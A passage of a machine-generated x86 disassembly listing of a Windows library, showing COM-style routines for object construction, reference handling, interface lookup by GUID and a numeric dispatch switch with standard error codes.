		mov	eax, [ebp+arg_8]
		mov	[eax], ebx
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		xor	esi, esi
		jmp	short loc_69B54726
; ---------------------------------------------------------------------------


loc_69B54716:				; CODE XREF: sub_69B546C2+43j
		push	[ebp+arg_8]
		mov	ebx, [ebx+24h]
		push	[ebp+arg_4]
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax]
		mov	esi, eax


loc_69B54726:				; CODE XREF: sub_69B546C2+52j
		lea	ecx, [ebp+var_10]
		call	sub_69B1976C
		push	[ebp+var_4]
		call	dword_69B92944
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx

locret_69B5473C:			; CODE XREF: sub_69B546C2+18j
		leave
		retn	0Ch
sub_69B546C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B54740	proc near		; CODE XREF: sub_69B407EC+5Ap
					; sub_69B547EE+9p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+8]
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_69B547C6
		mov	edx, [ebx]
		push	eax
		mov	ecx, ebx
		call	dword ptr [edx+8]
		test	al, al
		jnz	short loc_69B547C6
		cmp	dword ptr [esi+4], 0
		jz	short loc_69B547AE
		push	dword ptr [esi]
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+8]
		test	al, al
		jz	short loc_69B54781
		mov	eax, [esi]
		mov	[edi], eax
		mov	eax, [esi+4]
		jmp	short loc_69B547CE
; ---------------------------------------------------------------------------


loc_69B54781:				; CODE XREF: sub_69B54740+36j
		cmp	dword ptr [esi+4], 0
		jz	short loc_69B547AE
		mov	eax, [ebx]
		and	[ebp+arg_0], 0
		lea	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, ebx
		call	dword ptr [eax+4]
		test	eax, eax
		jz	short loc_69B547AE
		push	0
		push	0C00CE217h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B547AE:				; CODE XREF: sub_69B54740+29j
					; sub_69B54740+45j ...
		and	dword ptr [esi], 0
		push	0


loc_69B547B3:				; CODE XREF: sub_69B54740+ACj
		add	esi, 4
		push	esi
		call	sub_69B17320
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_69B547C6:				; CODE XREF: sub_69B54740+17j
					; sub_69B54740+23j
		mov	eax, [ebx]
		push	edi
		mov	ecx, ebx
		call	dword ptr [eax+4]


loc_69B547CE:				; CODE XREF: sub_69B54740+3Fj
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	short loc_69B547AE
		push	eax
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		mov	eax, [edi]
		mov	[esi], eax
		mov	eax, [ebx]
		push	esi
		mov	ecx, ebx
		call	dword ptr [eax+4]
		push	eax
		jmp	short loc_69B547B3
sub_69B54740	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B547EE	proc near		; CODE XREF: sub_69B54806+6Fp
					; sub_69B5491C+55p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esi]
		push	esi
		call	sub_69B54740
		push	eax
		mov	ecx, esi
		call	dword ptr [edi]
		pop	edi
		pop	esi
		retn	4
sub_69B547EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B54806	proc near		; DATA XREF: .text:69B127ECo
		push	28h
		push	offset dword_69B54910
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B54829
		mov	eax, 80004005h
		jmp	loc_69B54901
; ---------------------------------------------------------------------------


loc_69B54829:				; CODE XREF: sub_69B54806+17j
		mov	esi, [ebp+8]
		lea	ecx, [esi+4]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		and	dword ptr [ebp-2Ch], 0
		push	dword ptr [esi+28h]
		lea	ecx, [ebp-30h]
		call	sub_69B1986C
		mov	edi, [ebp+10h]
		test	edi, edi
		jnz	short loc_69B5485F
		mov	dword ptr [ebp-34h], 80070057h
		jmp	short loc_69B548D3
; ---------------------------------------------------------------------------


loc_69B5485F:				; CODE XREF: sub_69B54806+4Ej
		and	dword ptr [ebp-4], 0
		mov	ebx, VariantInit


loc_69B54869:				; CODE XREF: sub_69B54806+95j
		cmp	dword ptr [ebp+0Ch], 0
		jbe	short loc_69B548A8
		push	dword ptr [esi+20h]
		lea	ecx, [esi+10h]
		call	sub_69B547EE
		mov	[ebp-38h], eax
		push	edi		; pvarg
		test	eax, eax
		jz	short loc_69B5489D
		call	ebx ; VariantInit
		mov	word ptr [edi],	9
		mov	eax, [ebp-38h]
		mov	[edi+8], eax
		add	edi, 10h
		mov	[ebp+10h], edi
		inc	dword ptr [ebp-2Ch]
		dec	dword ptr [ebp+0Ch]
		jmp	short loc_69B54869
; ---------------------------------------------------------------------------


loc_69B5489D:				; CODE XREF: sub_69B54806+7Aj
		call	ebx ; VariantInit
		mov	dword ptr [ebp-34h], 1
		jmp	short loc_69B548CF
; ---------------------------------------------------------------------------


loc_69B548A8:				; CODE XREF: sub_69B54806+67j
		and	dword ptr [ebp-34h], 0
		jmp	short loc_69B548CF
; ---------------------------------------------------------------------------


loc_69B548AE:				; DATA XREF: .text:69B54914o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B548B7:				; DATA XREF: .text:69B54918o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-34h], eax


loc_69B548CF:				; CODE XREF: sub_69B54806+A0j
					; sub_69B54806+A6j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B548D3:				; CODE XREF: sub_69B54806+57j
		mov	eax, [ebp+14h]
		test	eax, eax
		jz	short loc_69B548DF
		mov	ecx, [ebp-2Ch]
		mov	[eax], ecx


loc_69B548DF:				; CODE XREF: sub_69B54806+D2j
		lea	ecx, [ebp-30h]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_69B548FE
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944


loc_69B548FE:				; CODE XREF: sub_69B54806+EDj
		mov	eax, [ebp-34h]


loc_69B54901:				; CODE XREF: sub_69B54806+1Ej
		call	sub_69B1853C
		retn	10h
sub_69B54806	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B54910	dd 0FFFFFFFFh			dd offset loc_69B548AE
		dd offset loc_69B548B7

; =============== S U B	R O U T	I N E =======================================



sub_69B5491C	proc near		; DATA XREF: .text:69B127F0o
		push	20h
		push	offset dword_69B549E0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B54941
		mov	eax, 80004005h
		jmp	loc_69B549D4
; ---------------------------------------------------------------------------


loc_69B54941:				; CODE XREF: sub_69B5491C+19j
		mov	esi, [ebp+8]
		lea	ecx, [esi+4]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		push	dword ptr [esi+28h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	[ebp-4], edi


loc_69B54966:				; CODE XREF: sub_69B5491C+6Aj
		cmp	[ebp+0Ch], edi
		jbe	short loc_69B54988
		push	dword ptr [esi+20h]
		lea	ecx, [esi+10h]
		call	sub_69B547EE
		test	eax, eax
		jnz	short loc_69B54983
		mov	dword ptr [ebp-30h], 1
		jmp	short loc_69B549AE
; ---------------------------------------------------------------------------


loc_69B54983:				; CODE XREF: sub_69B5491C+5Cj
		dec	dword ptr [ebp+0Ch]
		jmp	short loc_69B54966
; ---------------------------------------------------------------------------


loc_69B54988:				; CODE XREF: sub_69B5491C+4Dj
		mov	[ebp-30h], edi
		jmp	short loc_69B549AE
; ---------------------------------------------------------------------------


loc_69B5498D:				; DATA XREF: .text:69B549E4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B54996:				; DATA XREF: .text:69B549E8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax


loc_69B549AE:				; CODE XREF: sub_69B5491C+65j
					; sub_69B5491C+6Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_69B549D1
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944


loc_69B549D1:				; CODE XREF: sub_69B5491C+AAj
		mov	eax, [ebp-30h]


loc_69B549D4:				; CODE XREF: sub_69B5491C+20j
		call	sub_69B1853C
		retn	8
sub_69B5491C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B549E0	dd 0FFFFFFFFh			dd offset loc_69B5498D
		dd offset loc_69B54996

; =============== S U B	R O U T	I N E =======================================



sub_69B549EC	proc near		; CODE XREF: sub_69B54B0B+3p
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		push	0
		lea	edi, [esi+20h]
		push	edi
		mov	dword ptr [esi-4], offset off_69B127E0
		mov	dword ptr [esi], offset	off_69B28A60
		call	sub_69B17320
		push	0
		lea	ebx, [esi+24h]
		push	ebx
		call	sub_69B17320
		push	ebx
		call	sub_69B17230
		push	edi
		call	sub_69B17230
		lea	ecx, [esi+0Ch]
		call	sub_69B42764
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_69B2C65C
sub_69B549EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B54A30	proc near		; DATA XREF: .text:69B127F8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	eax, [eax+20h]
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		retn	8
sub_69B54A30	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B54A44	proc near		; DATA XREF: .text:69B127F4o
		push	18h
		push	offset dword_69B54AD0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B54A66
		mov	eax, 80004005h
		jmp	short loc_69B54AC1
; ---------------------------------------------------------------------------


loc_69B54A66:				; CODE XREF: sub_69B54A44+19j
		mov	esi, [ebp+8]
		lea	ecx, [esi+4]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-4], edi
		lea	ecx, [esi+10h]
		call	sub_69B42674
		jmp	short loc_69B54AAA
; ---------------------------------------------------------------------------


loc_69B54A8A:				; DATA XREF: .text:69B54AD4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B54A93:				; DATA XREF: .text:69B54AD8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B54AAA:				; CODE XREF: sub_69B54A44+44j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B54AC1:				; CODE XREF: sub_69B54A44+20j
		call	sub_69B1853C
		retn	4
sub_69B54A44	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B54AD0	dd 0FFFFFFFFh			dd offset loc_69B54A8A
		dd offset loc_69B54A93

; =============== S U B	R O U T	I N E =======================================



sub_69B54ADC	proc near		; CODE XREF: sub_69B54B2A+Ep
		push	esi
		mov	esi, ecx
		call	sub_69B3C17F
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B127E0
		mov	dword ptr [esi+4], offset off_69B28A60
		lea	ecx, [esi+10h]
		mov	[ecx+4], eax
		mov	[ecx+0Ch], eax
		mov	[esi+24h], eax
		mov	[esi+28h], eax
		call	sub_69B42674
		mov	eax, esi
		pop	esi
		retn
sub_69B54ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B54B0B	proc near		; DATA XREF: .text:off_69B28A60o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B549EC
		test	[esp+4+arg_0], 1
		jz	short loc_69B54B23
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B54B23:				; CODE XREF: sub_69B54B0B+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B54B0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B54B2A	proc near		; CODE XREF: sub_69B408BC+65p
					; sub_69B45514+86p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	2Ch
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B54B41
		mov	ecx, eax
		call	sub_69B54ADC
		mov	esi, eax
		jmp	short loc_69B54B43
; ---------------------------------------------------------------------------


loc_69B54B41:				; CODE XREF: sub_69B54B2A+Aj
		xor	esi, esi


loc_69B54B43:				; CODE XREF: sub_69B54B2A+15j
		push	[esp+4+arg_0]
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17320
		mov	eax, [esp+4+arg_4]
		push	[esp+4+arg_8]
		mov	[esi+20h], eax
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17320
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B54B2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B54B6A	proc near		; CODE XREF: sub_69B55AD3+7Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		lea	ecx, [esi+8]
		call	sub_69B1A8C7
		push	0
		push	[esp+8+arg_8]
		mov	ecx, esi
		push	[esp+0Ch+arg_0]
		call	sub_69B4639C
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B54B6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B54B94	proc near		; DATA XREF: .data:69B99630o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		cmp	eax, 53h
		push	ebx
		push	esi
		push	edi
		jg	loc_69B54CED
		jz	loc_69B54CD8
		cmp	eax, 0FFFFFFFCh
		jz	loc_69B54CC3
		test	eax, eax
		jz	loc_69B54C8A
		cmp	eax, 4Ah
		jz	loc_69B54C75
		cmp	eax, 4Ch
		jz	loc_69B54C60
		cmp	eax, 4Dh
		jz	short loc_69B54C52
		cmp	eax, 51h
		jz	short loc_69B54C1A
		cmp	eax, 52h
		jnz	loc_69B54D05
		test	[ebp+arg_C], 2
		jz	short loc_69B54BFD
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+38h]
		jmp	loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54BFD:				; CODE XREF: sub_69B54B94+52j
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		mov	eax, [eax+8]
		jz	short loc_69B54C0B
		mov	eax, [eax]


loc_69B54C0B:				; CODE XREF: sub_69B54B94+73j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+3Ch]
		jmp	loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54C1A:				; CODE XREF: sub_69B54B94+43j
		test	[ebp+arg_C], 2
		jz	short loc_69B54C35
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+30h]
		jmp	loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54C35:				; CODE XREF: sub_69B54B94+8Aj
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		mov	eax, [eax+8]
		jz	short loc_69B54C43
		mov	eax, [eax]


loc_69B54C43:				; CODE XREF: sub_69B54B94+ABj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+34h]
		jmp	loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54C52:				; CODE XREF: sub_69B54B94+3Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+28h]
		jmp	loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54C60:				; CODE XREF: sub_69B54B94+35j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+24h]
		jmp	loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54C75:				; CODE XREF: sub_69B54B94+2Cj
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+20h]
		jmp	loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54C8A:				; CODE XREF: sub_69B54B94+23j
		cmp	[ebp+arg_14], 1
		jz	short loc_69B54C9A
		mov	eax, 8002000Eh
		jmp	loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54C9A:				; CODE XREF: sub_69B54B94+FAj
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B54CAA
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B54CAD
; ---------------------------------------------------------------------------


loc_69B54CAA:				; CODE XREF: sub_69B54B94+10Dj
		mov	ecx, [eax+8]


loc_69B54CAD:				; CODE XREF: sub_69B54B94+114j
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+1Ch]
		jmp	loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54CC3:				; CODE XREF: sub_69B54B94+1Bj
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+2Ch]
		jmp	loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54CD8:				; CODE XREF: sub_69B54B94+12j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+40h]
		jmp	loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54CED:				; CODE XREF: sub_69B54B94+Cj
		sub	eax, 54h
		jz	loc_69B54D86
		dec	eax
		jz	short loc_69B54D74
		dec	eax
		jz	short loc_69B54D69
		dec	eax
		jz	short loc_69B54D57
		dec	eax
		jz	short loc_69B54D3A
		dec	eax
		jz	short loc_69B54D0F


loc_69B54D05:				; CODE XREF: sub_69B54B94+48j
		mov	eax, 80020003h
		jmp	loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54D0F:				; CODE XREF: sub_69B54B94+16Fj
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B54D1F
		mov	ecx, [eax+8]
		mov	edx, [ecx]
		jmp	short loc_69B54D22
; ---------------------------------------------------------------------------


loc_69B54D1F:				; CODE XREF: sub_69B54B94+182j
		mov	edx, [eax+8]


loc_69B54D22:				; CODE XREF: sub_69B54B94+189j
		mov	ecx, [ebp+arg_0]
		mov	ebx, [ecx]
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [eax+18h]
		movsd
		movsd
		movsd
		push	edx
		push	ecx
		movsd
		call	dword ptr [ebx+58h]
		jmp	short loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54D3A:				; CODE XREF: sub_69B54B94+16Cj
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		mov	eax, [eax+8]
		jz	short loc_69B54D48
		mov	eax, [eax]


loc_69B54D48:				; CODE XREF: sub_69B54B94+1B0j
		push	[ebp+arg_10]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	eax
		push	ecx
		call	dword ptr [edx+54h]
		jmp	short loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54D57:				; CODE XREF: sub_69B54B94+169j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+50h]
		jmp	short loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54D69:				; CODE XREF: sub_69B54B94+166j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4Ch]
		jmp	short loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54D74:				; CODE XREF: sub_69B54B94+163j
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	edx, 8
		push	edx
		push	eax
		call	dword ptr [ecx+48h]
		jmp	short loc_69B54DAA
; ---------------------------------------------------------------------------


loc_69B54D86:				; CODE XREF: sub_69B54B94+15Cj
		mov	eax, [ebp+arg_8]
		test	byte ptr [eax+1], 40h
		jz	short loc_69B54D96
		mov	eax, [eax+8]
		mov	ecx, [eax]
		jmp	short loc_69B54D99
; ---------------------------------------------------------------------------


loc_69B54D96:				; CODE XREF: sub_69B54B94+1F9j
		mov	ecx, [eax+8]


loc_69B54D99:				; CODE XREF: sub_69B54B94+200j
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	edx, [eax]
		add	esi, 8
		push	esi
		push	ecx
		push	eax
		call	dword ptr [edx+44h]


loc_69B54DAA:				; CODE XREF: sub_69B54B94+64j
					; sub_69B54B94+81j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	18h
sub_69B54B94	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B54DB1	proc near		; DATA XREF: .text:69B125D0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		or	dword ptr [eax+30h], 0FFFFFFFFh
		xor	eax, eax
		retn	4
sub_69B54DB1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B54DBE	proc near		; CODE XREF: sub_69B550DC+56p
					; sub_69B5518C+B7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_69B54DDE
		push	[esp+arg_4]
		mov	ecx, [eax]
		push	offset dword_69B25E54
		push	eax
		call	dword ptr [ecx]
		push	eax
		call	sub_69B8861E
		xor	eax, eax
		jmp	short locret_69B54DE8
; ---------------------------------------------------------------------------


loc_69B54DDE:				; CODE XREF: sub_69B54DBE+6j
		mov	eax, [esp+arg_4]
		and	dword ptr [eax], 0
		xor	eax, eax
		inc	eax

locret_69B54DE8:			; CODE XREF: sub_69B54DBE+1Ej
		retn	8
sub_69B54DBE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B54DEB	proc near		; CODE XREF: sub_69B55483+55p
					; sub_69B5553C+58p ...
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+28h]
		call	sub_69B8A208
		or	dword ptr [esi+30h], 0FFFFFFFFh
		mov	byte ptr [esi+2Ch], 0
		pop	esi
		retn
sub_69B54DEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B54E00	proc near		; CODE XREF: .text:69B43A72j
					; .text:69B43A7Cj ...
		push	20h
		push	offset dword_69B54F68
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B54E23
		mov	eax, 80004005h
		jmp	loc_69B54F3D
; ---------------------------------------------------------------------------


loc_69B54E23:				; CODE XREF: sub_69B54E00+17j
		mov	ebx, [ebp+8]
		lea	ecx, [ebx+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		and	dword ptr [ebp-2Ch], 0
		and	dword ptr [ebp-4], 0
		push	4
		pop	ecx
		mov	edi, offset stru_69B1CA6C
		mov	edx, [ebp+0Ch]
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jz	loc_69B54EF7
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AFE0
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jz	loc_69B54EF7
		push	4
		pop	ecx
		mov	edi, offset dword_69B25E04
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B54EF7
		push	4
		pop	ecx
		mov	edi, offset dword_69B54F48
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B54E97
		mov	eax, [ebx+24h]
		mov	[ebp-30h], eax
		test	eax, eax
		jnz	short loc_69B54EF7


loc_69B54E97:				; CODE XREF: sub_69B54E00+8Bj
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AFD0
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B54EB2
		mov	eax, [ebx]
		push	dword ptr [ebp+10h]
		push	ebx
		call	dword ptr [eax+2Ch]
		jmp	short loc_69B54F22
; ---------------------------------------------------------------------------


loc_69B54EB2:				; CODE XREF: sub_69B54E00+A5j
		push	4
		pop	ecx
		mov	edi, offset dword_69B2B050
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B54ECD
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		add	ebx, 18h
		jmp	short loc_69B54EFD
; ---------------------------------------------------------------------------


loc_69B54ECD:				; CODE XREF: sub_69B54E00+C0j
		push	4
		pop	ecx
		mov	edi, offset dword_69B54F58
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B54EE8
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		add	ebx, 20h
		jmp	short loc_69B54EFD
; ---------------------------------------------------------------------------


loc_69B54EE8:				; CODE XREF: sub_69B54E00+DBj
		mov	eax, [ebp+10h]
		and	dword ptr [eax], 0
		mov	dword ptr [ebp-2Ch], 80004002h
		jmp	short loc_69B54F25
; ---------------------------------------------------------------------------


loc_69B54EF7:				; CODE XREF: sub_69B54E00+53j
					; sub_69B54E00+67j ...
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]


loc_69B54EFD:				; CODE XREF: sub_69B54E00+CBj
					; sub_69B54E00+E6j
		mov	eax, [ebp+10h]
		mov	[eax], ebx
		jmp	short loc_69B54F25
; ---------------------------------------------------------------------------


loc_69B54F04:				; DATA XREF: .text:69B54F6Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B54F0D:				; DATA XREF: .text:69B54F70o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B54F22:				; CODE XREF: sub_69B54E00+B0j
		mov	[ebp-2Ch], eax


loc_69B54F25:				; CODE XREF: sub_69B54E00+F5j
					; sub_69B54E00+102j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-2Ch]


loc_69B54F3D:				; CODE XREF: sub_69B54E00+1Ej
		call	sub_69B1853C
		retn	0Ch
sub_69B54E00	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B54F48	dd 0AA634FC7h, 44A75888h, 473A57A2h, 0E3A0D15h					; .data:off_69B99614o
dword_69B54F58	dd 0C94AFC70h, 11D37C36h, 0C0006295h, 58215C4Fh
					; DATA XREF: sub_69B54E00+D0o
dword_69B54F68	dd 0FFFFFFFFh			dd offset loc_69B54F04
		dd offset loc_69B54F0D

; =============== S U B	R O U T	I N E =======================================



sub_69B54F74	proc near		; CODE XREF: sub_69B43A81+5j
					; DATA XREF: .text:69B125D4o
		push	1Ch
		push	offset dword_69B55018
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B54F96
		mov	eax, 80004005h
		jmp	short loc_69B5500A
; ---------------------------------------------------------------------------


loc_69B54F96:				; CODE XREF: sub_69B54F74+19j
		mov	esi, [ebp+8]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B54FBB
		mov	ebx, 80070057h
		jmp	short loc_69B54FF7
; ---------------------------------------------------------------------------


loc_69B54FBB:				; CODE XREF: sub_69B54F74+3Ej
		mov	[ebp-4], ebx
		mov	eax, [esi+34h]
		mov	[ebp-2Ch], eax
		push	eax
